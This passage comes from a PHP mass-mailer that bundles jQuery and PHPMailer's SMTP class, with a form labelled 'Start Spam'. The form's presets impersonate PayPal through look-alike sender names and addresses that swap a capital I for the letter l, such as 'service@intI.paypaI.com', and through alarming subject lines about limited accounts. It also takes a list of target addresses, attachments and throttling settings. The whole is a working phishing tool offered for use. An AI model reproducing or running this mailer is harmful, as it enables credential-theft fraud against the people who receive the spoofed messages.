  6458. left: 0
  6459. },
  6460. elem = this[0],
  6461. doc = elem && elem.ownerDocument;
  6462. if (!doc) {
  6463. return
  6464. }
  6465. docElem = doc.documentElement;
  6466. if (!jQuery.contains(docElem, elem)) {
  6467. return box
  6468. }
  6469. if (typeof elem.getBoundingClientRect !== strundefined) {
  6470. box = elem.getBoundingClientRect()
  6471. }
  6472. win = getWindow(doc);
  6473. return {
  6474. top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
  6475. left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
  6476. }
  6477. },
  6478. position: function() {
  6479. if (!this[0]) {
  6480. return
  6481. }
  6482. var offsetParent, offset, parentOffset = {
  6483. top: 0,
  6484. left: 0
  6485. },
  6486. elem = this[0];
  6487. if (jQuery.css(elem, "position") === "fixed") {
  6488. offset = elem.getBoundingClientRect()
  6489. } else {
  6490. offsetParent = this.offsetParent();
  6491. offset = this.offset();
  6492. if (!jQuery.nodeName(offsetParent[0], "html")) {
  6493. parentOffset = offsetParent.offset()
  6494. }
  6495. parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
  6496. parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
  6497. }
  6498. return {
  6499. top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
  6500. left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
  6501. }
  6502. },
  6503. offsetParent: function() {
  6504. return this.map(function() {
  6505. var offsetParent = this.offsetParent || docElem;
  6506. while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
  6507. offsetParent = offsetParent.offsetParent
  6508. }
  6509. return offsetParent || docElem
  6510. })
  6511. }
  6512. });
  6513. jQuery.each({
  6514. scrollLeft: "pageXOffset",
  6515. scrollTop: "pageYOffset"
  6516. }, function(method, prop) {
  6517. var top = /Y/.test(prop);
  6518. jQuery.fn[method] = function(val) {
  6519. return access(this, function(elem, method, val) {
  6520. var win = getWindow(elem);
  6521. if (val === undefined) {
  6522. return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
  6523. }
  6524. if (win) {
  6525. win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
  6526. } else {
  6527. elem[method] = val
  6528. }
  6529. }, method, val, arguments.length, null)
  6530. }
  6531. });
  6532. jQuery.each(["top", "left"], function(i, prop) {
  6533. jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
  6534. if (computed) {
  6535. computed = curCSS(elem, prop);
  6536. return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
  6537. }
  6538. })
  6539. });
  6540. jQuery.each({
  6541. Height: "height",
  6542. Width: "width"
  6543. }, function(name, type) {
  6544. jQuery.each({
  6545. padding: "inner" + name,
  6546. content: type,
  6547. "": "outer" + name
  6548. }, function(defaultExtra, funcName) {
  6549. jQuery.fn[funcName] = function(margin, value) {
  6550. var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
  6551. extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
  6552. return access(this, function(elem, type, value) {
  6553. var doc;
  6554. if (jQuery.isWindow(elem)) {
  6555. return elem.document.documentElement["client" + name]
  6556. }
  6557. if (elem.nodeType === 9) {
  6558. doc = elem.documentElement;
  6559. return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
  6560. }
  6561. return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
  6562. }, type, chainable ? margin : undefined, chainable, null)
  6563. }
  6564. })
  6565. });
  6566. jQuery.fn.size = function() {
  6567. return this.length
  6568. };
  6569. jQuery.fn.andSelf = jQuery.fn.addBack;
  6570. if (typeof define === "function" && define.amd) {
  6571. define("jquery", [], function() {
  6572. return jQuery
  6573. })
  6574. }
  6575. var _jQuery = window.jQuery,
  6576. _$ = window.$;
  6577. jQuery.noConflict = function(deep) {
  6578. if (window.$ === jQuery) {
  6579. window.$ = _$
  6580. }
  6581. if (deep && window.jQuery === jQuery) {
  6582. window.jQuery = _jQuery
  6583. }
  6584. return jQuery
  6585. };
  6586. if (typeof noGlobal === strundefined) {
  6587. window.jQuery = window.$ = jQuery
  6588. }
  6589. return jQuery
  6590. }));
  6591. </script>
  6592. </div>
  6593. <div class="col-sm-4" style="padding-left: 7.5px !important;">
  6594. <div style="margin-bottom: 10px" class="input-group">
  6595. <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
  6596. <select class="form-control" name="type">
  6597. <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
  6598. <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
  6599. </select>
  6600. </div>
  6601. <div style="margin-bottom: 10px" class="input-group">
  6602. <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
  6603. <select class="form-control" onChange="Pilih4(this);">
  6604. <option value="">No X-Mailer</option>
  6605. <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
  6606. <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
  6607. <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
  6608. <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
  6609. </select>
  6610. <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
  6611. </div>
  6612. </div>
  6613. </div>
  6614.  
  6615. <div class="col-sm-8" style="padding-right: 7.5px !important;">
  6616.  
  6617. <div style="margin-bottom: 10px" class="input-group">
  6618. <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
  6619. <select class="form-control" onChange="Pilih1(this);">
  6620. <option value="">Select Sender Name</option>
  6621. <option value="PayPaI">PayPaI</option>
  6622. <option value="PaypaI Service">PaypaI Service</option>
  6623. <option value="PaypaI Support">PaypaI Support</option>
  6624. <option value="Account Service">Account Service</option>
  6625. <option value="Account Support">Account Support</option>
  6626. <option value="Service">Service</option>
  6627. </select>
  6628. <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
  6629. <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
  6630. <select class="form-control kanan" onChange="Pilih2(this);">
  6631. <option value="">Select Sender Email</option>
  6632. <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
  6633. <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
  6634. <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
  6635. <option value="no-reply">no-reply</option>
  6636. <option value="admin">admin</option>
  6637. <option value="service">service</option>
  6638. <option value="same as target">same as target</option>
  6639.  
  6640. </select>
  6641. <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
  6642. </div>
  6643.  
  6644. <div style="margin-bottom: 10px" class="input-group">
  6645. <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
  6646. <select class="form-control kanan" onChange="Pilih3(this);">ge
  6647. <option value="">Select Email Subject</option>
  6648. <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
  6649. <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
  6650. <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
  6651. <option value="Account Notification">Account Notification</option>
  6652. <option value="Attention: Your account status change">Attention: Your account status change</option>
  6653.  
  6654. </select>
  6655. <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
  6656. </div>
  6657.  
  6658. <div style="margin-bottom: 5px" class="input-group">
  6659. <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
  6660. <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
  6661. <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
  6662. <select class="form-control" name="encode">
  6663. <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
  6664. <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
  6665. <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
  6666. <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
  6667. <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
  6668. <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
  6669. </select>
  6670. </div>
  6671. <div style="margin-bottom: 10px" class="input-group">
  6672. <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
  6673. <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
  6674. </div>
  6675. <div style="margin-bottom: 10px" class="input-group">
  6676. <input type="submit" class="btn btn-success" name="action" value="Start Spam">
  6677. <font color="white">Next send after </font>
  6678. <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
  6679. <font color="white">(second) | Reconnect After
  6680. <input type="text" name="reconnect" value="<?php echo $reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
  6681. <font color="white">(emails)</font>
  6682. </div>
  6683.  
  6684. </div>
  6685. <div class="col-sm-4" style="padding-left: 7.5px !important;">
  6686.  
  6687. <div style="margin-bottom: 10px" class="input-group">
  6688. <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
  6689. <select class="form-control" name="encoding">
  6690. <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
  6691. <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
  6692. </select>
  6693. </div>
  6694. <div style="margin-bottom: 10px" class="input-group">
  6695. <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
  6696. <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
  6697. </div>
  6698.  
  6699. </div>
  6700. <div class="form-group">
  6701. </div>
  6702.  
  6703. </form>
  6704.  
  6705. </div>
  6706. </div>
  6707. <?php
  6708.  
  6709. if ($action){
  6710.  
  6711. if (!$from && !$subject && !$message && !$emaillist) {
  6712. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  6713. die();
  6714. }
  6715.  
  6716. if ($_POST['encoding']=='yes') {
  6717. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  6718. $subject = str_replace(' ', '=20', $subject);
  6719. $subject = "=?utf-8?Q?$subject?=";
  6720. $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
  6721. $nama = str_replace(' ', '=20', $nama);
  6722. $nama = "=?utf-8?Q?$nama?=";
  6723. }
  6724.  
  6725. $allemails = split("\n", $emaillist);
  6726. $numemails = count($allemails);
  6727.  
  6728.  
  6729. function xflush()
  6730. {
  6731. static $output_handler = null;
  6732. if ($output_handler === null) {
  6733. $output_handler = @ini_get('output_handler');
  6734. }
  6735. if ($output_handler == 'ob_gzhandler') {
  6736. return;
  6737. }
  6738. flush();
  6739. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  6740. @ob_flush();
  6741. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  6742. @ob_end_flush();
  6743. @ob_start();
  6744. }
  6745. }
  6746. ?>
  6747. <?php
  6748. /**
  6749. * PHPMailer RFC821 SMTP email transport class.
  6750. * PHP Version 5
  6751. * @package PHPMailer
  6752. * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
  6753. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  6754. * @author Jim Jagielski (jimjag) <>
  6755. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  6756. * @author Brent R. Matzelle (original founder)
  6757. * @copyright 2014 Marcus Bointon
  6758. * @copyright 2010 - 2012 Jim Jagielski
  6759. * @copyright 2004 - 2009 Andy Prevost
  6760. * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
  6761. * @note This program is distributed in the hope that it will be useful - WITHOUT
  6762. * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  6763. * FITNESS FOR A PARTICULAR PURPOSE.
  6764. */
  6765.  
  6766. /**
  6767. * PHPMailer RFC821 SMTP email transport class.
  6768. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
  6769. * @package PHPMailer
  6770. * @author Chris Ryan
  6771. * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
  6772. */
  6773. class SMTP
  6774. {
  6775. /**
  6776. * The PHPMailer SMTP version number.
  6777. * @type string
  6778. */
  6779. const VERSION = '5.2.9';
  6780.  
  6781. /**
  6782. * SMTP line break constant.
  6783. * @type string
  6784. */
  6785. const CRLF = "\r\n";
  6786.  
  6787. /**
  6788. * The SMTP port to use if one is not specified.
  6789. * @type integer
  6790. */
  6791. const DEFAULT_SMTP_PORT = 25;
  6792.  
  6793. /**
  6794. * The maximum line length allowed by RFC 2822 section 2.1.1
  6795. * @type integer
  6796. */
  6797. const MAX_LINE_LENGTH = 998;
  6798.  
  6799. /**
  6800. * Debug level for no output
  6801. */
  6802. const DEBUG_OFF = 0;
  6803.  
  6804. /**
  6805. * Debug level to show client -> server messages
  6806. */
  6807. const DEBUG_CLIENT = 1;
  6808.  
  6809. /**
  6810. * Debug level to show client -> server and server -> client messages
  6811. */
  6812. const DEBUG_SERVER = 2;
  6813.  
  6814. /**
  6815. * Debug level to show connection status, client -> server and server -> client messages
  6816. */
  6817. const DEBUG_CONNECTION = 3;
  6818.  
  6819. /**
  6820. * Debug level to show all messages
  6821. */
  6822. const DEBUG_LOWLEVEL = 4;
  6823.  
  6824. /**
  6825. * The PHPMailer SMTP Version number.
  6826. * @type string
  6827. * @deprecated Use the `VERSION` constant instead
  6828. * @see SMTP::VERSION
  6829. */
  6830. public $Version = '5.2.9';
  6831.  
  6832. /**
  6833. * SMTP server port number.
  6834. * @type integer
  6835. * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
  6836. * @see SMTP::DEFAULT_SMTP_PORT
  6837. */
  6838. public $SMTP_PORT = 25;
  6839.  
  6840. /**
  6841. * SMTP reply line ending.
  6842. * @type string
  6843. * @deprecated Use the `CRLF` constant instead
  6844. * @see SMTP::CRLF
  6845. */
  6846. public $CRLF = "\r\n";
  6847.  
  6848. /**
  6849. * Debug output level.
  6850. * Options:
  6851. * * self::DEBUG_OFF (`0`) No debug output, default
  6852. * * self::DEBUG_CLIENT (`1`) Client commands
  6853. * * self::DEBUG_SERVER (`2`) Client commands and server responses
  6854. * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
  6855. * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
  6856. * @type integer
  6857. */
  6858. public $do_debug = self::DEBUG_OFF;
  6859.  
  6860. /**
  6861. * How to handle debug output.
  6862. * Options:
  6863. * * `echo` Output plain-text as-is, appropriate for CLI
  6864. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  6865. * * `error_log` Output to error log as configured in php.ini
  6866. *
  6867. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  6868. * <code>
  6869. * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  6870. * </code>
  6871. * @type string|callable
  6872. */
  6873. public $Debugoutput = 'echo';
  6874.  
  6875. /**
  6876. * Whether to use VERP.
  6877. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
  6878. * @link http://www.postfix.org/VERP_README.html Info on VERP
  6879. * @type boolean
  6880. */
  6881. public $do_verp = false;
  6882.  
  6883. /**
  6884. * The timeout value for connection, in seconds.
  6885. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  6886. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
  6887. * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
  6888. * @type integer
  6889. */
  6890. public $Timeout = 300;
  6891.  
  6892. /**
  6893. * How long to wait for commands to complete, in seconds.
  6894. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  6895. * @type integer
  6896. */
  6897. public $Timelimit = 300;
  6898.  
  6899. /**
  6900. * The socket for the server connection.
  6901. * @type resource
  6902. */
  6903. protected $smtp_conn;
  6904.  
  6905. /**
  6906. * Error message, if any, for the last call.
  6907. * @type array
  6908. */
  6909. protected $error = array();
  6910.  
  6911. /**
  6912. * The reply the server sent to us for HELO.
  6913. * If null, no HELO string has yet been received.
  6914. * @type string|null
  6915. */
  6916. protected $helo_rply = null;
  6917.  
  6918. /**
  6919. * The set of SMTP extensions sent in reply to EHLO command.
  6920. * Indexes of the array are extension names.
  6921. * Value at index 'HELO' or 'EHLO' (according to command that was sent)
  6922. * represents the server name. In case of HELO it is the only element of the array.
  6923. * Other values can be boolean TRUE or an array containing extension options.
  6924. * If null, no HELO/EHLO string has yet been received.
  6925. * @type array|null
  6926. */
  6927. protected $server_caps = null;
  6928.  
  6929. /**
  6930. * The most recent reply received from the server.
  6931. * @type string
  6932. */
  6933. protected $last_reply = '';
  6934.  
  6935. /**
  6936. * Output debugging info via a user-selected method.
  6937. * @see SMTP::$Debugoutput
  6938. * @see SMTP::$do_debug
  6939. * @param string $str Debug string to output
  6940. * @param integer $level The debug level of this message; see DEBUG_* constants
  6941. * @return void
  6942. */
  6943. protected function edebug($str, $level = 0)
  6944. {
  6945. if ($level > $this->do_debug) {
  6946. return;
  6947. }
  6948. //Avoid clash with built-in function names
  6949. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  6950. call_user_func($this->Debugoutput, $str, $this->do_debug);
  6951. return;
  6952. }
  6953. switch ($this->Debugoutput) {
  6954. case 'error_log':
  6955. //Don't output, just log
  6956. error_log($str);
  6957. break;
  6958. case 'html':
  6959. //Cleans up output a bit for a better looking, HTML-safe output
  6960. echo htmlentities(
  6961. preg_replace('/[\r\n]+/', '', $str),
  6962. ENT_QUOTES,
  6963. 'UTF-8'
  6964. )
  6965. . "<br>\n";
  6966. break;
  6967. case 'echo':
  6968. default:
  6969. //Normalize line breaks
  6970. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  6971. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  6972. "\n",
  6973. "\n \t ",
  6974. trim($str)
  6975. )."\n";
  6976. }
  6977. }
  6978.  
  6979. /**
  6980. * Connect to an SMTP server.
  6981. * @param string $host SMTP server IP or host name
  6982. * @param integer $port The port number to connect to
  6983. * @param integer $timeout How long to wait for the connection to open
  6984. * @param array $options An array of options for stream_context_create()
  6985. * @access public
  6986. * @return boolean
  6987. */
  6988. public function connect($host, $port = null, $timeout = 30, $options = array())
  6989. {
  6990. static $streamok;
  6991. //This is enabled by default since 5.0.0 but some providers disable it
  6992. //Check this once and cache the result
  6993. if (is_null($streamok)) {
  6994. $streamok = function_exists('stream_socket_client');
  6995. }
  6996. // Clear errors to avoid confusion
  6997. $this->error = array();
  6998. // Make sure we are __not__ connected
  6999. if ($this->connected()) {
  7000. // Already connected, generate error
  7001. $this->error = array('error' => 'Already connected to a server');
  7002. return false;
  7003. }
  7004. if (empty($port)) {
  7005. $port = self::DEFAULT_SMTP_PORT;
  7006. }
  7007. // Connect to the SMTP server
  7008. $this->edebug(
  7009. "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
  7010. self::DEBUG_CONNECTION
  7011. );
  7012. $errno = 0;
  7013. $errstr = '';
  7014. if ($streamok) {
  7015. $socket_context = stream_context_create($options);
  7016. //Suppress errors; connection failures are handled at a higher level
  7017. $this->smtp_conn = @stream_socket_client(
  7018. $host . ":" . $port,
  7019. $errno,
  7020. $errstr,
  7021. $timeout,
  7022. STREAM_CLIENT_CONNECT,
  7023. $socket_context
  7024. );
  7025. } else {
  7026. //Fall back to fsockopen which should work in more places, but is missing some features
  7027. $this->edebug(
  7028. "Connection: stream_socket_client not available, falling back to fsockopen",
  7029. self::DEBUG_CONNECTION
  7030. );
  7031. $this->smtp_conn = fsockopen(
  7032. $host,
  7033. $port,
  7034. $errno,
  7035. $errstr,
  7036. $timeout
  7037. );
  7038. }
  7039. // Verify we connected properly
  7040. if (!is_resource($this->smtp_conn)) {
  7041. $this->error = array(
  7042. 'error' => 'Failed to connect to server',
  7043. 'errno' => $errno,
  7044. 'errstr' => $errstr
  7045. );
  7046. $this->edebug(
  7047. 'SMTP ERROR: ' . $this->error['error']
  7048. . ": $errstr ($errno)",
  7049. self::DEBUG_CLIENT
  7050. );
  7051. return false;
  7052. }
  7053. $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  7054. // SMTP server can take longer to respond, give longer timeout for first read
  7055. // Windows does not have support for this timeout function
  7056. if (substr(PHP_OS, 0, 3) != 'WIN') {
  7057. $max = ini_get('max_execution_time');
  7058. if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
  7059. @set_time_limit($timeout);
  7060. }
  7061. stream_set_timeout($this->smtp_conn, $timeout, 0);
  7062. }
  7063. // Get any announcement
  7064. $announce = $this->get_lines();
  7065. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  7066. return true;
  7067. }
  7068.  
  7069. /**
  7070. * Initiate a TLS (encrypted) session.
  7071. * @access public
  7072. * @return boolean
  7073. */
  7074. public function startTLS()
  7075. {
  7076. if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  7077. return false;
  7078. }
  7079. // Begin encrypted connection
  7080. if (!stream_socket_enable_crypto(
  7081. $this->smtp_conn,
  7082. true,
  7083. STREAM_CRYPTO_METHOD_TLS_CLIENT
  7084. )) {
  7085. return false;
  7086. }
  7087. return true;
  7088. }
  7089.  
  7090. /**
  7091. * Perform SMTP authentication.
  7092. * Must be run after hello().
  7093. * @see hello()
  7094. * @param string $username The user name
  7095. * @param string $password The password
  7096. * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
  7097. * @param string $realm The auth realm for NTLM
  7098. * @param string $workstation The auth workstation for NTLM
  7099. * @access public
  7100. * @return boolean True if successfully authenticated.
  7101. */
  7102. public function authenticate(
  7103. $username,
  7104. $password,
  7105. $authtype = null,
  7106. $realm = '',
  7107. $workstation = ''
  7108. ) {
  7109. if (!$this->server_caps) {
  7110. $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
  7111. return false;
  7112. }
  7113.  
  7114. if (array_key_exists('EHLO', $this->server_caps)) {
  7115. // SMTP extensions are available. Let's try to find a proper authentication method
  7116.  
  7117. if (!array_key_exists('AUTH', $this->server_caps)) {
  7118. $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
  7119. // 'at this stage' means that auth may be allowed after the stage changes
  7120. // e.g. after STARTTLS
  7121. return false;
  7122. }
  7123.  
  7124. self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  7125. self::edebug(
  7126. 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  7127. self::DEBUG_LOWLEVEL
  7128. );
  7129.  
  7130. if (empty($authtype)) {
  7131. foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  7132. if (in_array($method, $this->server_caps['AUTH'])) {
  7133. $authtype = $method;
  7134. break;
  7135. }
  7136. }
  7137. if (empty($authtype)) {
  7138. $this->error = array( 'error' => 'No supported authentication methods found' );
  7139. return false;
  7140. }
  7141. self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  7142. }
  7143.  
  7144. if (!in_array($authtype, $this->server_caps['AUTH'])) {
  7145. $this->error = array( 'error' => 'The requested authentication method "'
  7146. . $authtype . '" is not supported by the server' );
  7147. return false;
  7148. }
  7149. } elseif (empty($authtype)) {
  7150. $authtype = 'LOGIN';
  7151. }
  7152. switch ($authtype) {
  7153. case 'PLAIN':
  7154. // Start authentication
  7155. if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  7156. return false;
  7157. }
  7158. // Send encoded username and password
  7159. if (!$this->sendCommand(
  7160. 'User & Password',
  7161. base64_encode("\0" . $username . "\0" . $password),
  7162. 235
  7163. )
  7164. ) {
  7165. return false;
  7166. }
  7167. break;
  7168. case 'LOGIN':
  7169. // Start authentication
  7170. if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  7171. return false;
  7172. }
  7173. if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  7174. return false;
  7175. }
  7176. if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  7177. return false;
  7178. }
  7179. break;
  7180. case 'NTLM':
  7181. /*
  7182. * ntlm_sasl_client.php
  7183. * Bundled with Permission
  7184. *
  7185. * How to telnet in windows:
  7186. * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
  7187. * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
  7188. */
  7189. require_once 'extras/ntlm_sasl_client.php';
  7190. $temp = new stdClass();
  7191. $ntlm_client = new ntlm_sasl_client_class;
  7192. //Check that functions are available
  7193. if (!$ntlm_client->Initialize($temp)) {
  7194. $this->error = array('error' => $temp->error);
  7195. $this->edebug(
  7196. 'You need to enable some modules in your php.ini file: '
  7197. . $this->error['error'],
  7198. self::DEBUG_CLIENT
  7199. );
  7200. return false;
  7201. }
  7202. //msg1
  7203. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  7204.  
  7205. if (!$this->sendCommand(
  7206. 'AUTH NTLM',
  7207. 'AUTH NTLM ' . base64_encode($msg1),
  7208. 334
  7209. )
  7210. ) {
  7211. return false;
  7212. }
  7213. //Though 0 based, there is a white space after the 3 digit number
  7214. //msg2
  7215. $challenge = substr($this->last_reply, 3);
  7216. $challenge = base64_decode($challenge);
  7217. $ntlm_res = $ntlm_client->NTLMResponse(
  7218. substr($challenge, 24, 8),
  7219. $password
  7220. );
  7221. //msg3
  7222. $msg3 = $ntlm_client->TypeMsg3(
  7223. $ntlm_res,
  7224. $username,
  7225. $realm,
  7226. $workstation
  7227. );
  7228. // send encoded username
  7229. return $this->sendCommand('Username', base64_encode($msg3), 235);
  7230. case 'CRAM-MD5':
  7231. // Start authentication
  7232. if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  7233. return false;
  7234. }
  7235. // Get the challenge
  7236. $challenge = base64_decode(substr($this->last_reply, 4));
  7237.  
  7238. // Build the response
  7239. $response = $username . ' ' . $this->hmac($challenge, $password);
  7240.  
  7241. // send encoded credentials
  7242. return $this->sendCommand('Username', base64_encode($response), 235);
  7243. default:
  7244. $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
  7245. return false;
  7246. }
  7247. return true;
  7248. }
  7249.  
  7250. /**
  7251. * Calculate an MD5 HMAC hash.
  7252. * Works like hash_hmac('md5', $data, $key)
  7253. * in case that function is not available
  7254. * @param string $data The data to hash
  7255. * @param string $key The key to hash with
  7256. * @access protected
  7257. * @return string
  7258. */
  7259. protected function hmac($data, $key)
  7260. {
  7261. if (function_exists('hash_hmac')) {
  7262. return hash_hmac('md5', $data, $key);
  7263. }
  7264.  
  7265. // The following borrowed from
  7266. // http://php.net/manual/en/function.mhash.php#27225
  7267.  
  7268. // RFC 2104 HMAC implementation for php.
  7269. // Creates an md5 HMAC.
  7270. // Eliminates the need to install mhash to compute a HMAC
  7271. // by Lance Rushing
  7272.  
  7273. $bytelen = 64; // byte length for md5
  7274. if (strlen($key) > $bytelen) {
  7275. $key = pack('H*', md5($key));
  7276. }
  7277. $key = str_pad($key, $bytelen, chr(0x00));
  7278. $ipad = str_pad('', $bytelen, chr(0x36));
  7279. $opad = str_pad('', $bytelen, chr(0x5c));
  7280. $k_ipad = $key ^ $ipad;
  7281. $k_opad = $key ^ $opad;
  7282.  
  7283. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  7284. }
  7285.  
  7286. /**
  7287. * Check connection state.
  7288. * @access public
  7289. * @return boolean True if connected.
  7290. */
  7291. public function connected()
  7292. {
  7293. if (is_resource($this->smtp_conn)) {
  7294. $sock_status = stream_get_meta_data($this->smtp_conn);
  7295. if ($sock_status['eof']) {
  7296. // The socket is valid but we are not connected
  7297. $this->edebug(
  7298. 'SMTP NOTICE: EOF caught while checking if connected',
  7299. self::DEBUG_CLIENT
  7300. );
  7301. $this->close();
  7302. return false;
  7303. }
  7304. return true; // everything looks good
  7305. }
  7306. return false;
  7307. }
  7308.  
  7309. /**
  7310. * Close the socket and clean up the state of the class.
  7311. * Don't use this function without first trying to use QUIT.
  7312. * @see quit()
  7313. * @access public
  7314. * @return void
  7315. */
  7316. public function close()
  7317. {
  7318. $this->error = array();
  7319. $this->server_caps = null;
  7320. $this->helo_rply = null;
  7321. if (is_resource($this->smtp_conn)) {
  7322. // close the connection and cleanup
  7323. fclose($this->smtp_conn);
  7324. $this->smtp_conn = null; //Makes for cleaner serialization
  7325. $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  7326. }
  7327. }
  7328.  
  7329. /**
  7330. * Send an SMTP DATA command.
  7331. * Issues a data command and sends the msg_data to the server,
  7332. * finializing the mail transaction. $msg_data is the message
  7333. * that is to be send with the headers. Each header needs to be
